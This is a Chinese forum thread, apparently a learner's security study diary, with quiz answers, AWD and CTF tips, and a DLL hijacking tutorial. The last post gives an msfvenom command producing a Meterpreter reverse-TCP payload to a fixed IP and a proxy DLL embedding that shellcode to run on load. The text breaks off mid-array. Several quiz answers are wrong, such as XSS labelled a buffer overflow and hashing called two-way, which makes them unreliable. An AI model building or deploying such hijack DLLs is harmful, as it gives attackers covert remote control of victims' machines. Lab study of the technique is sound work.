安全矩阵

 找回密码
 立即注册
搜索
12
返回列表 发新帖
楼主: CDxiaodong

程栋的学习日记

[复制链接]

35

主题

53

帖子

167

积分

注册会员

Rank: 2

积分
167
 楼主| 发表于 2021-10-16 17:25:33 | 显示全部楼层
之前再江西神舟刷的一些面试题
bin文件:
二进制文件,其用途依系统或应用而定。一种文件格式binary的缩写。一个后缀名为".bin"的文件,只是表明它是binary格式。比如虚拟光驱文件常用".bin"作为后缀,但并不意味着所有的bin文件都是虚拟光驱文件。一般来讲是机器代码,汇编语言编译后的结果(磁盘操作系统下汇编语言编译后与".com"文件相类似),用debug、WINHEX,U_EDIT等软件可以打开(通常不一定能看得懂是些什么除非学习过汇编语言)。
linux下生成字典的工具为       crunch
域传送漏洞可以用以下哪4种工具测试       fierce
53端口                  dns
在 Windows 操作系统中,用于备份 EFS 证书的工具是      cipher
下列是常用系统软件评估工具的是                 iss
SATAN是网络扫描工具
使用Winspoof软件,可以用来          隐藏QQ的IP

恶意代码
SenderID 可以判断出电子邮件的确切来源¢因此,可以降低垃圾邮件以及域名欺骗等行为发生的可能。
向查询方法可以让接收邮件的互联网服务商确认邮件发送者是否就是如其所言的真实地址
对网页请求参数进行验证,可以防止SQL注入攻击。
特征代码技术是检测已知计算机病毒的最简单、代价最小的技术。
网络钓鱼的目标往往是细心选择的一些电子邮件地址。
由于网络钓鱼通常利用垃圾邮件进行传播,因此,各种反垃圾邮件的技术也都可以用来反网络钓鱼。
oracle数据库能对密码进行复杂度进行设置。
SQL Server中,权限可以直接授予用户ID。

MySQL不提供字段粒度的访问控制。
MS SQL Server与Sybase SQL Server的身份认证机制基本相同。
为监听器打开日志功能,跟踪监听器命令和对口令的暴力破解,需要进行以
下操作:()
A.  
LSNRCTL>?set?log_directory? /network/admin
B.  
LSNRCTL>?set?log_file? .log
C.  
LSNRCTL>?set?log_status?on?
D.  
LSNRCTL>?save_config?
全都要
Oracle9 数 据 库 可 以 通 过 配 置$ORACLE_HOME\network\admin\sqlnet.ora文件实现数据库层次的基于TCP协议和地址的访问控制。下面说法正确的是()
A.  
首先需要配置TCP.VALIDNODE_CHECKING = yes启用节点检查功能
B.  
其次配置TCP.INVITED_NODES = 192.168.0.12,192.168.0.33将会允许地址是192.168.0网段的12和33的主机访问
C.  
然后配置TCP.EXCLUDED_NODES = 192.168.0.ABC将会禁止地址是192.168.0网段的ABC的主机访问
D.  
要以上配置生效必须重起lsnrctl监听器
全都要


AFL 中并发 fuzz 的时候,需要使用哪两个参数?       -S -M
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro\Session
Manager\Memory Management\MoveImages 的键值用来设定哪种工作模式?映像随机化
_KEXECUTE_OPTIONS 结构的标识位中共几位与 DEP 相关? 
4位
Windows下跳转指令 BL 采用了哪种寻址方式?相对寻址方式
在 ARM 中返回值是通过哪一寄存器来传递的?R0
在以下漏洞溢出的情况,哪些是属于缓冲区溢出的?栈溢出    堆溢出    单字节溢出
Windows 堆分配函数最终都将使用 ntdll.dll 中的哪一函数进行分配?GlobalAlloc()
D5000测试验证系统软件功能与在线系统应尽可能保持一致,至少应覆盖Ⅰ区应用功能,有条件的可以增加Ⅱ、Ⅲ区应用功能---错误
凡需进入应用系统的管理用户,应先进行标识(建立账号);应用系统管理用户标 识一般使用用户名和用户标识符(UID); 并在应用系统的整个生存周期实现用户的唯一性标 识,以及用户名或别名、UID 等之间的一致性---正确
当数据从SSC 之内向其控制范围之外输出时,根据需要可以保留或不保留数据的敏感标记--- 
正确

SSF应实现采用多条命名的访问控制策略的特定功能,说明策略的使用和特征,以及该策略的控制范围 
错误
应通过一定措施确保当系统出现某些确定的故障情况时,SSF 也能维持正常运行,如系统应检 测和报告系统的服务水平已降低到预先规定的最大值  
错误
应按一致的 SSOOS 安全策略模型、形式化功能说明、形式化高层设计、SSF 的结构化实现、 SSF 内部结构复杂度最小化、形式化低层设计、形式化对应性说明的要求,进行 SSOOS 的开 发;.  
错误
windows中的powerusers组默认具有对事件日志的删除权限。----错误
在Linux系统中,通常通过文件/etc/login.defs和/etc/default/useradd,对口令生命期进行综合配置,但是这些设置仅仅在新用户账户创建时候适用,使用chang命令可以修改已存在的账户的口令周期。---正确
iptables可配置具有状态包过滤机制的防火墙。---正确

网络基础
shadow文件是不能被普通用户读取的,只有超级用户才有权读取。
. 正确
MSF 模块开发时, initialize 调用了哪一方法来初始化 info 数据结构?
 
update_info
在以下的的漏洞描述中,属于 UAF ( use-after-free )漏洞的是
  
内存地址对象破坏性调用的漏洞
在一下隧道协议中,属于三层隧道协议的是
IPSec
ICMP泛洪利用了ARP命令的功能
当前纵向加密认证装置证书的真实性与有效性通过装置的本地手工管理手段保证。
  正确
纵向加密认证装置策略中配置的密通的意思为,匹配策略的数据包将被直接转发到对应接口 
错误
纵向加密认证装置设备隧道为OPEN状态时表示当前隧道密钥已经协商成功,已经为加密数据做好准备 
正确
纵向加密认证装置可以通过管理中心配置策略与隧道
正确
纵向加密认证装置日志告警端口一般采用514端口
正确
装置应能承受GB/T15153.1中规定的严酷等级为3级(20V/m)的辐射电磁场干扰实验,在实验期间和实验后装置的性能应符合GB/T17626.1总则9中“a)”规定的要求。
错误
纵向加密认证装置必须能够识别、过滤、转发Trunk协议的报文,本地配置功能必须支持设置VLanID
正确
纵向加密认证装置应支持基于加密隧道的明通功能,根据安全策略,可以对不同的隧道分别设置加密或明传
正确
纵向加密认证装置的外型为2U19英寸标准机箱
 错误
纵向加密认证装置应采用非Intel指令集的处理器
正确
站端没有纵向加密装置,主站端的设备与站端业务机的通信方式为()。明文
智能电网调度技术支持系统使用的纵向加密认证装置应支持建立至少()条加密隧道。 
1024.0
通信加密网关启用syslog远程日志,服务端口是( ) 
UDP 514
 ESP 50)是加密通信使用的协义与端口。
( VPN )是一种架构在公用通信基础设施上的专用数据通信网络,利用IPSec等网络层安全协议和建立在PKI的加密与签名技术来获得私有性
窗体顶端

窗体底端

对远程访问型VPN来说,(  IPSec VPN )产品经常与防火墙及NAT机制存在兼容性问题,导致安全隧道建立失败
在目前GFS集群中,每个集群包含(几千个 )个存储节点
(  MapReduce)是Google提出的用于处理海量数据的并行编程模式和大规模数据集的并行运算的软件架构、
下列选项中,哪条不是GFS选择在用户态下实现的原因:容易扩展
通过以下哪个 NSX 组件可以创建基于软件的虚拟网络?NSX网络虚拟化管理程序
以下哪项 VMware 技术可以实现全面的虚拟网络连接?
NSX
利用虚拟化,组织可以快速而灵活地应对需求的动态变化。以下哪项虚拟环境功能可以实现这一目标---弹性
虚拟网络连接环境中可能使用了各种不同的技术。连接到 Virtual Distributed Switch 的虚拟机可能需要与 NSX 逻辑交换机上的虚拟机进行通信。利用以下哪项功能,可以在逻辑交换机上的虚拟机和分布式端口组上的虚拟机之间建立直接以太网连接?
 
VXLAN到VLAN的桥接


以下哪项功能使用快照为屋里和虚拟桌面提供回复功能?
Horizon Mirage地平线海市蜃楼
链接克隆的特点是什么
链接克隆用于减少虚拟桌面的补休和更新操作
hinApp(瘦身应用程序)为Horizon View提供什么作用? 
ThinApp 用于创建虚拟沙盒以便将应用程序部署到虚拟桌面
虚拟桌面如何查找最近的打印机?
打印机通过GPO组策略对象(Group Policy Object)定义

以下哪顶是第1类虚拟化管理程序的典型特征?
 
第1类虚拟化管理程序作为应用程序在Windows或Linu中运行
vSphere可以解决的扩展性难题是什么?
添加新物理服务器后自动平衡虚拟机
虚拟机如何能在网络上与物理设备通信? 
虚拟机通过上行链路端口连接到虚拟交换机;虚拟交换机通过虚拟机端口组连接到物理网络
vSphere可以解决的可用性难题是什么?
可在不影响应用的情况下随时执行硬件维护
虚拟化可以做什么?
使您购买更多服务器
实施数据中心虚拟化的原因是
 
可以省电
以下哪项功能是VMware环境中共享存储的优势
允许部署HA集群
vSphere可以解决的可用性难题是什么
 
无中断的灾难恢复测试
常规端口扫描和半开式扫描的区别是?
 
没有完成三次握手,缺少ACK过程
路由器可以通过源地址、 目的地址、 用户、 协议来限制带宽
不同设VLAN之间要进行通信,可以通过交换机
加密装置管理系统与加密装置之间的远程通信报文是(  
明文)传输的。
纵向加密认证装置初始化时,( 导入装置管理系统证书)不是必须做的。
纵向加密装置设备运行正常,因某种原因将其手动关闭时,不会出现以下何种情况(该网络链路长时间中断 )
( 隧道)是加密认证网关之间协商后的传输通道,数据包在其中进行安全传输
纵向加密装置登录密码,我们应采取正确的措施有(使用数字字母组合方式)

纵向加密认证装置(非微型)数据包转发延迟要求为:
.  
小于1ms

以下哪一种装置至少两台才能正常工作?
纵向加密认证装置
不允许把属于低安全等级区域的业务系统或其功能模块放置于高安全等级区域。
错误
移动安全:
关于this call调用以下说法不正确的是
 
this指针通过堆栈或者ecx传递

下面哪一项为系统安全工程能力成熟度模型提供了评估方法?
SSAM
软件安全开发中软件安全需求分析阶段的主要目的是:
  
确定开发团队关键里程碑和交付成果
Smurf 利用下列哪种协议进行攻击? 
TCP
当用户输入的数据被一个解释器当做命令或查询语句的一部分执行时,就会产生哪种类型的漏洞?缓冲区溢出
下列哪种技术不是恶意代码的生产技术? 
加密技术
下列对跨站脚本攻击(XSS)的描述正确的是
 
XSS攻击指的是恶意攻击者往WED页面里插入恶意代码,当用户浏览浏览该页之时,嵌入其中WEB里面的代码会执行,从 而达到恶意攻击用户的特殊目的

攻击者在远程WEB页面的HTML代码中插入具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面 ,嵌入其中的脚步将被解释执行,这是哪种类型的漏洞?
缓冲区溢出
]
在WINDOWS操作系统中,欲限制用户无效登录的次数,应当怎么做?
在“本地安全设置”中对“用户权利指派”进行设置

在OSI参考模型中有7个层次,提供了相应的安全服务来加强信息系统的安全性。以下哪一层提供了保密性、身份鉴别、 数据完整性服务?
网络层
以下对Kerberos协议过程说法正确的是:  
协议可以分为两个步骤:一是用户身份鉴别:二是获取请求服务
认证中心(CA)的核心职责是_?
公布黑名单
DSA算法不提供以下哪种服务?
  
认证
目前对MD5,SHA1算法的攻击是指:对于一个已知的消息摘要,能够构造出一个不同的消息,这两个消息产生了相同的消息摘要
公钥密码算法和对称密码算法相比,在应用上的优势是:
 安全性更高
以下关于信息系统安全保障是主观和客观的结合说法最准确的是:
是主观和客观综合评估的结果
下面哪一项表示了信息不被非法篡改的属性? 
完整性
信息安全保障强调安全是动态的安全,意味着:信息安全只能是保证信息系统在有限物理范围内的安全,无法保证整个信息系统的安全
下面哪一项是监理单位在招标阶段质量控制的内容?
协助建设单位提出工程需求,确定工程的整体质量目标
信息安全工程监理工程师不需要做的工作是:
编写验收测试方案

根据SSE-CMM信息安全工程过程可以划分为三个阶段,其中__确立安全解决方案的置信度并且把这样的置信度传递给客户
保证过程
如果一名攻击者截获了一个公钥,然后他将这个公钥替换为自己的公钥并发送给接收者,这种情况属于哪一种攻击?中间人攻击
下列属于DDOS攻击的是:
SYN洪水攻击
攻击者在远程WEB页面的HTML代码中插入具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行,这是哪种类型的漏洞?
 
跨站脚本
数据库事务日志的用途是什么?数据恢复
在关系型数据库系统中通过“视图(view)”技术,可以实现以下哪一种安全原则?

最小权限原则
在Unix系统中,/etc/service文件记录了什么内容?
记录一些常用的接口及其所提供的服务的对应关系
有一类IDS系统将所观察到的活动同认为正常的活动进行比较并识别重要的偏差来发现入侵事件,这种机制称作:
异常检测

以下哪种无线加密标准的安全性最弱?
Wep
WAPI采用的是什么加密算法?
我国自主研发的公开密钥体制的椭圆曲线密码算法
某个客户的网络限制可以正常访问internet互联网,共有200台终端PC但此客户从ISP(互联网络服务提供商)里只获得了16个公有的IPv4地址,最多也只有16台PC可以访问互联网,要想让全部200台终端PC访问internet互联网最好采取什么办法或技术:
在网络的出口路由器上做源NAT
下面哪一项访问控制模型使用安全标签(security labels)?
 
强制访问控制
以下关于访问控制表和访问能力表的说法正确的是
访问能力表更容易实现访问权限的传递,但回收访问权限较困难

下面对访问控制技术描述最准确的是:
防止对系统资源的非授权访问
以下对于安全套接层(SSL)的说法正确的是
主要使用于点对点之间的信息传输,常用Web server方式
时间戳的引入主要是为了防止:
重放
如果只能使用口令远程认证,以下哪种方案安全性最好?
动态随机口令,明文传输
通常以太网采用了( )协议以支持总线型的结构。
载波侦听与冲突检测CSMA/CD
下列关于哈希函数的说法中,正确的是
哈希函数是一种双向密码体制
.bak      .backup    .git     .svn
回复

使用道具 举报

35

主题

53

帖子

167

积分

注册会员

Rank: 2

积分
167
 楼主| 发表于 2021-10-16 17:27:41 | 显示全部楼层
本帖最后由 CDxiaodong 于 2021-10-16 17:28 编辑

之前再江西信安研究院学的一些AWD总结和最近学的一些有效的AWD0tips
要问问是否能透露check的内容
Socket-pwn
要记录靶机信息并放在常用位置
网站备份
Sql文件要脱裤
备份pwn的主程序
左边看有无被打,右上角看有无checked
修漏洞后没修好可以恢复备份再修
写脚本去批量{}poc/exp(那这个漏洞去打其他靶机)
官方的流量监控可能会给也可能不会给。提前自己装来拦截(web pwn都有)
多用Ssh sstp进行文件传输
D盾漏洞(如果扫到一句话木马文件啥的,可以先移到其他文件夹,因为别人只会针对这个文件夹进行批量扫,然后移走的话以后好防止裁判就check这个文件)
靶机不能装软件,但是可以装python脚本(灰色地带)
说是不让上waf(看你勇不勇,能上就上),但是流量监控可以上
防check printmatch 黑名单。删掉或者注释(看程度)
Xftp备份的话全部备份,但是最好先下载var包,下载玩直接扫var包,var包里才是网站主要漏洞,植入shell后再查看其他包
查自己包的漏洞
用chattr命令防止系统中某个关键文件被修改:
chattr +i /etc/profile
将/var/www/html目录下的文件设置为不允许任何人修改:
chattr -R +i /var/www/html

查漏洞利用方法然后写exp

Whachbird install var/www/。。/         装waf,可以直接再浏览器上看流量啥的(还可以流量重放)
Github的awd.py脚本可以连进xftp后自动化使用,一键拉网站,一键恢复啥的。下载后python终端pip install -r requestment.txt,或者kali直接clone
当防守方吧文件命令的某些函数改成escapeshell,其实还是可以绕过的(有针对escape函数绕过的方法)
利用扫的漏洞写exp脚本(主函数脚本)
几个针对各种漏洞利用脚本
一个返回flag脚本(利用正则来找到flag{}并返回)
Tar -cvf backup_1.tar.gz /var/www/html进行ssh备份
AWD的exp脚本和waf脚本github上很多,主要还是需要自己会进行修改
靶机上没有pathon的那些库,需要自己打包传上去,要库干嘛呢?要用来运行上waf的脚本什么的

抓流量:
做一个waf.php脚本来拦截和抓流量

一些工具:
Ternius(自带Xftp)xshell
代码审计工具(较近的)
一些脚本(用虚拟机跑)
check内容不会透露

咋那么通过流量复原exp

PWN:
只要会分析流量,就有一些分数。但是还是要会一点pwn,才能更好的分析流量
可以打开IDA把所有free都nop掉
只需要修改waf的makefile的一些参数(路径,端口)
然后make catph和make forwoad进行流量监控和流量转发,然后上传到靶机的主目录,替换文件,然后就能进行作用
主办方会在每轮发给你pacp的包(这段时间内别人攻击你的流量)

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

35

主题

53

帖子

167

积分

注册会员

Rank: 2

积分
167
 楼主| 发表于 2021-10-16 17:33:45 | 显示全部楼层
之前学习AWD是做的cardinal的使用教程
这里使用的是Linux版本的。首先将其下载下来并解压
tar -zxvf Cardinal_VERSION_OS_ARCH.tar.gz
赋予Cardianl程序权限chmod +x ./Cardinal
运行Cardinal    ./Cardinal
如果是第一次运行该程序则需要进行配置,按照提示配置即可,需要注意的是在选择数据库的时候需要选择一个空的数据库,其默认数据库名为Cardinal,创建数据库的SQL语句如下:
create database cardinal DEFAULT CHARACTER set utf8mb4 collate utf8mb4_unicode_ci
填比赛开启时间的时候一定要在管理员添加好题目、队伍等信息之后的时间,且生成flag要在这个时间前面。且需注意平台所用的时间比北京时间晚了7分钟,配置的时候需要注意。然后访问管理端ip:19999/manager,进行登录。
登录后,首先在队伍管理里面添加队伍。记录队伍的账号密码。
在题目管理中添加题目,这里的自动更新flag,就是通过ssh将靶机上面的flag文件更新,必须使用该功能,否则不能每一轮都更新flag。

在靶机管理中添加靶机,这里的靶机IP就是靶机ip,题目描述可将靶机的ssh账号和密码添加在其中

需将所有靶机添加完之后才可以在FLAG管理中点击“生成        flag”,不然后面添加的靶场不能更新flag,这样就将该场比赛所有flag生成

在靶机管理中测试测试ssh连接,这样就在靶机的根目录生成flag文件,flag文件里面的flag每轮都会更新。这个时间需要在比赛开启时间之前,不然靶机的flag文件并不会生成。

当比赛开始后在靶机管理中将题目设置为可见,这样题目才可以在选手端显示出来

根据比赛的难度可以在靶机管理中设置队伍靶机是否相互可见。
在选手端,可以看见属于自己的题目,每个题目对应一台主机

根据比赛需要可以看见靶机列表即该场比赛的所有主机。这里提交flag的方式有两种,一种是直接提交flag,一种是发送POST数据包提交flag,很可以写脚本利用POST数据包批量提交flag。
如果需要开启一场新的比赛,首先需要将Config这个文件夹删除,然后将数据库cardinal删除,不然会导致管理员登录不上,且两场比赛设置之间需将kali清楚缓存,否则会存在端口占用现象。
docker开启ssh服务的方法:
docker run -t -i 容器ID /bin/bash//启动一个容器并进入其终端

apt-get install openssh-server openssh-client //在容器中安装ssh服务
passwd//修改root密码

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

35

主题

53

帖子

167

积分

注册会员

Rank: 2

积分
167
 楼主| 发表于 2021-10-16 17:34:49 | 显示全部楼层
之前作ctf的一些个人总结

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

35

主题

53

帖子

167

积分

注册会员

Rank: 2

积分
167
 楼主| 发表于 2021-10-16 17:35:13 | 显示全部楼层
解密特征
U2FsdGVkX19T7VS86emCFReuh2Tjc3ZtbB5HMHebPd8=   AES解密
zip伪加密    在50 4B 01 02 之后的第一个09改为00
png尝试修改宽高看一下,将高度的00 00 00 F0 修改成00 00 01 2C (01 2C 为高度30010进制转16)
Rar的文件头一般是52617221
8:V5Y:7,Y,3MU=$8D%11&9O6BY .G,M     为uuencode+base85
查看这些xml文件 最后在document.xml找密码
webp文件和stegpy有关   可以用一个stegpy的python脚本解码  pip3 install stegpy;  stegpy csgo.riff(csgo.webp)
哈夫曼树原理:https://blog.csdn.net/qq_29519041/article/details/81428934
画图反色(ctrl+shift+i)

明文攻击:原理:有一个需要解密的ZIP而且不知道密码,但幸运的是有ZIP包里一个已知文件,
将已知文件进行ZIP加密后和待解密的ZIP里已知文件进行hex对比,两者的区别就是ZIP加密
的三个key(压缩包中的每个文件都是通过这三个Key进行加密压缩的),由此得到加密文件
的三个key。


用360解压可以看压缩包是否有损损坏,360zip打开,提示头部数据损坏,使用WinRAR打开则提示输入密码,因此推测压缩包的二进制文件被修改了。
有些压缩包提示损坏,打不开,伪加密等,直接用winrar等工具自带的修复,有奇效

jpg修改宽高:在FF C0 00 11 08后改为 03 CF 02
010打开文本里面有‘s-x=`  .aBM  j’表现可能存在7z的压缩方式
snowfall: whitespeace解密(无考虑其他任何字符,只考虑空白符)
六位CRC32爆破  https://github.com/theonlypwner/crc32
winhex发现了elf文件数据 将elf文件头前面的部分全部删掉,然后保存(注意elf前的空格不能删)
文字后面还有隐藏的数据。用Notepad++打开

wps查看隐藏文字   文件-选项-视图-隐藏文字
gunplot的神器,它是一个命令行的交互式绘图工具,可以将坐标绘制成图像。

HINT-ZmxhZ3tDb29seW91R290SXROb3dZb3VLbm93VGhlRmxhZ30 想z开头的也可能是base64;

kali可以使用more shadow命令查看shadow文件信息。进而john [OPTIONS] [PASSWORD-FILES] john [选项] [密码文件] --show[=LEFT] 显示破解的密码[如果=左,然后uncracked]
john --show shadow
回复

使用道具 举报

35

主题

53

帖子

167

积分

注册会员

Rank: 2

积分
167
 楼主| 发表于 2021-10-16 17:37:18 | 显示全部楼层
上面这些小工具以后再做个总结把   现在懒得做  先提上日程
回复

使用道具 举报

35

主题

53

帖子

167

积分

注册会员

Rank: 2

积分
167
 楼主| 发表于 4 天前 | 显示全部楼层
# DLL劫持学习及复现

参考dll劫持https://mp.weixin.qq.com/s?__biz ... 8a1fcbc183d841c4#rd

dll劫持+dll制作(且更深入一些):
https://mp.weixin.qq.com/s?__biz ... 8a1fcbc183d841c4#rd

1.process-explorer

```
下载地址:https://docs.microsoft.com/zh-cn ... ds/process-explorer
```

可以

![image-20211021205525708](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211021205525708.png)

可以用find找运行的dll文件

2.火绒剑

![image-20211021205922928](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211021205922928.png)

3.Process Monitor

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon

使用的时候可以设置Filter,填入过滤条件,可以帮助排除很多无用的信息

```
Include the following filters:
Operation is CreateFile
Operation is LoadImage
Path contains .cpl
Path contains .dll
Path contains .drv
Path contains .exe
Path contains .ocx
Path contains .scr
Path contains .sys
Exclude the following filters:
Process Name is procmon.exe
Process Name is Procmon64.exe
Process Name is System
Operation begins with IRP_MJ_
Operation begins with FASTIO_
Result is SUCCESS
Path ends with pagefile.sys
```



测试:

win+r:regedit打开注册表












knowsdll(windows10自带的注册表地址):HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs



c了   写到一半不小心点到弹窗的重启了,之前写的都没了  

直接延续下来吧

进阶测试:


1.首先使用VS2019新建一个DLL项目(动态链接库)

```c
// dllmain.cpp : 定义 DLL 应用程序的入口点。``#include "pch.h"` `BOOL APIENTRY DllMain( HMODULE hModule, // 模块句柄``                       DWORD  ul_reason_for_call, // 调用原因``                       LPVOID lpReserved // 参数保留``                     )``{``    switch (ul_reason_for_call) // 根据调用原因选择不不同的加载方式``    {``    case DLL_PROCESS_ATTACH: // DLL被某个程序加载``    case DLL_THREAD_ATTACH: // DLL被某个线程加载``    case DLL_THREAD_DETACH: // DLL被某个线程卸载``    case DLL_PROCESS_DETACH: //DLL被某个程序卸载``        break;``    }``    return TRUE;``}
```

![image-20211023180516436](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211023180516436.png)

在生成的dllmain.cpp下添加

```
void msg() {    MessageBox(0, L"Dll-1 load  succeed!", L"Good", 0);}
```

![image-20211023181126970](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211023181126970.png)

然后再在头文件下的framework.h文件内添加下面代码来编译导出dll文件

```c#
#pragma once
#define WIN32_LEAN_AND_MEAN             // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>
extern "C" __declspec(dllexport) void msg(void);
```

![image-20211023181330474](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211023181330474.png)

然后编译生成Dll1.dll

![image-20211023181416585](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211023181416585.png)

再新建一个C++项目,填入如下代码

```c++
#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
    // 定义一个函数类DLLFUNC
    typedef void(*DLLFUNC)(void);
    DLLFUNC GetDllfunc = NULL;
    // 指定动态加载dll库
    HINSTANCE hinst = LoadLibrary(L"Dll1.dll");//要加载的DLL
    if (hinst != NULL) {
        // 获取函数位置
        GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");//函数名
    }
    if (GetDllfunc != NULL) {
        //运行msg函数
        (*GetDllfunc)();
    }
}
```

再次生成解决方案,然后将之前生成的Dll1.dll放到生成的Meg.exe同目录下,运行Meg.exe

![image-20211023182430858](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211023182430858.png)

注意这里新建的是c++能够编译程序的项目

就是VS的那个空白项

![image-20211023183257644](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211023183257644.png)

![image-20211023183317391](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211023183317391.png)

成功弹窗



接下来开始劫持

新建一个dll项目

```c#
# include "pch.h"
# define EXTERNC extern "C"
# define NAKED __declspec(naked)
# define EXPORT EXTERNC __declspec(dllexport)
# define ALCPP EXPORT NAKED
# define ALSTD EXTERNC EXPORT NAKED void __stdcall
# define ALCFAST EXTERNC EXPORT NAKED void __fastcall
# define ALCDECL EXTERNC NAKED void __cdecl
EXTERNC
{
              FARPROC Hijack_msg;
}
namespace DLLHijacker
{
    HMODULE m_hModule = NULL;
    DWORD m_dwReturn[17] = { 0 };
    inline BOOL WINAPI Load()
    {
        TCHAR tzPath[MAX_PATH];
        lstrcpy(tzPath, TEXT("Dll1"));
        m_hModule = LoadLibrary(tzPath);
        if (m_hModule == NULL)
            return FALSE;
        return (m_hModule != NULL);
    }
    FARPROC WINAPI GetAddress(PCSTR pszProcName)
    {
        FARPROC fpAddress;
        CHAR szProcName[16];
        fpAddress = GetProcAddress(m_hModule, pszProcName);
        if (fpAddress == NULL)
        {
            if (HIWORD(pszProcName) == 0)
            {
                wsprintf((LPWSTR)szProcName, L"%d", pszProcName);
                pszProcName = szProcName;
            }
            ExitProcess(-2);
        }
        return fpAddress;
    }
}
using namespace DLLHijacker;
VOID Hijack()   //default open a calc.//添加自己的代码
{

}
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        DisableThreadLibraryCalls(hModule);
        if (Load())
        {
            Hijack_msg = GetAddress("msg");

            Hijack();
        }
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
```

在编译生成新的dll前要注意在代码这一行,将Dll1改为Dll2.dll(将原来的dll名写在转发方法里,然后将生成的dll文件重命名为劫持的dll文件名)。后面生成的dll4改为dll1

```
lstrcpy(tzPath, TEXT("Dll2.dll"));
```

然后在代码这一行添加弹窗或者执行shellcode

```c++
VOID Hijack()   //default open a calc.
{      
MessageBoxW(NULL, L"DLL Hijack! by DLLHijacker", L"", 0);    #回显框  
}
```

然后编译生成

成功执行两个弹窗

一个HIjack 一个successd



0x03  使用dll文件劫持主机

生成shellcode:

```
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.193 -b '\xfc\xe8' lport=4444 -f c
```

生成dll:

# include "pch.h"

# define EXTERNC extern "C"

# define NAKED __declspec(naked)

# define EXPORT EXTERNC __declspec(dllexport)

# define ALCPP EXPORT NAKED

# define ALSTD EXTERNC EXPORT NAKED void __stdcall

# define ALCFAST EXTERNC EXPORT NAKED void __fastcall

# define ALCDECL EXTERNC NAKED void __cdecl

```c++
# include "pch.h"
# define EXTERNC extern "C"
# define NAKED __declspec(naked)
# define EXPORT EXTERNC __declspec(dllexport)
# define ALCPP EXPORT NAKED
# define ALSTD EXTERNC EXPORT NAKED void __stdcall
# define ALCFAST EXTERNC EXPORT NAKED void __fastcall
# define ALCDECL EXTERNC NAKED void __cdecl

EXTERNC
{
              FARPROC Hijack_msg;
}
namespace DLLHijacker
{
    HMODULE m_hModule = NULL;
    DWORD m_dwReturn[17] = { 0 };
    inline BOOL WINAPI Load()
    {
        TCHAR tzPath[MAX_PATH];
        lstrcpy(tzPath, TEXT("Dll2.dll"));
        m_hModule = LoadLibrary(tzPath);
        if (m_hModule == NULL)
            return FALSE;
        return (m_hModule != NULL);
    }

#include "pch.h"
#include "windows.h"
    //开始转发,将函数方法转发
    //导出函数
#pragma comment(linker,"/EXPORT:add=testdll.add,@1")
#pragma commnet(linker,"/EXPORT:message=testdll.message,@2")
//入口函数
    BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
    {
        if (dwReason == DLL_PROCESS_ATTACH)
        {
            DisableThreadLibraryCalls(hModule);
            unsigned char buf[] =
                "\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef\xff"
                "\xff\xff\x48\xbb\x66\x9a\x22\x85\x4f\xee\xee\xb7\x48\x31\x58"
                "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x9a\xd2\xa1\x61\xbf\x06"
                "\x22\xb7\x66\x9a\x63\xd4\x0e\xbe\xbc\xe6\x2e\xab\xf0\xd3\x2a"
                "\xa6\x65\xe5\x06\xd2\xa9\xd7\x57\xa6\x65\xe5\x46\xd7\x13\x4c"
                "\x07\x65\x9c\xe7\x2e\x95\x95\xcf\x05\xa6\xdf\x77\xca\xa6\x43"
                "\xf9\x4d\xc2\xce\xf6\xa7\x53\x2f\xc4\x4e\x2f\x0c\x5a\x34\xdb"
                "\x73\xcd\xc4\xbc\xce\x3c\x24\xa6\x6a\x84\x9f\x88\x6f\xcf\x7e"
                "\x91\x20\x8a\xca\x9c\xee\xb7\x66\x11\xa2\x0d\x4f\xee\xee\xff"
                "\xe3\x5a\x56\xe2\x07\xef\x3e\x3c\x2e\x82\x72\xc1\xc4\xae\xce"
                "\xfe\x67\x4a\xc1\xd3\x07\x11\x27\xf6\xed\xae\xaa\xc8\x7e\x27"
                "\xa6\xb6\xb0\xd2\x13\x45\xe3\xaf\x2f\x7e\x6b\xdb\x23\x44\x77"
                "\x0e\x9b\x46\x2a\x99\x6e\xa1\x47\xab\xd7\x66\x13\x42\x7a\xc1"
                "\xc4\xae\xca\xfe\x67\x4a\x44\xc4\xc4\xe2\xa6\xf3\xed\xda\x3e"
                "\xcc\x4e\x3e\xaf\x3c\x62\x12\x63\xdd\x07\xef\x3e\xf6\x3e\xc4"
                "\x7b\xdf\x0e\xb6\xaf\xee\x27\xc0\x6a\x06\xa3\xce\xaf\xe5\x99"
                "\x7a\x7a\xc4\x16\xb4\xa6\x3c\x74\x73\x69\x7a\xb0\x11\xb3\xfe"
                "\xd8\xed\x51\xb7\x10\xdd\xdc\xb7\x66\xdb\x74\xcc\xc6\x08\xa6"
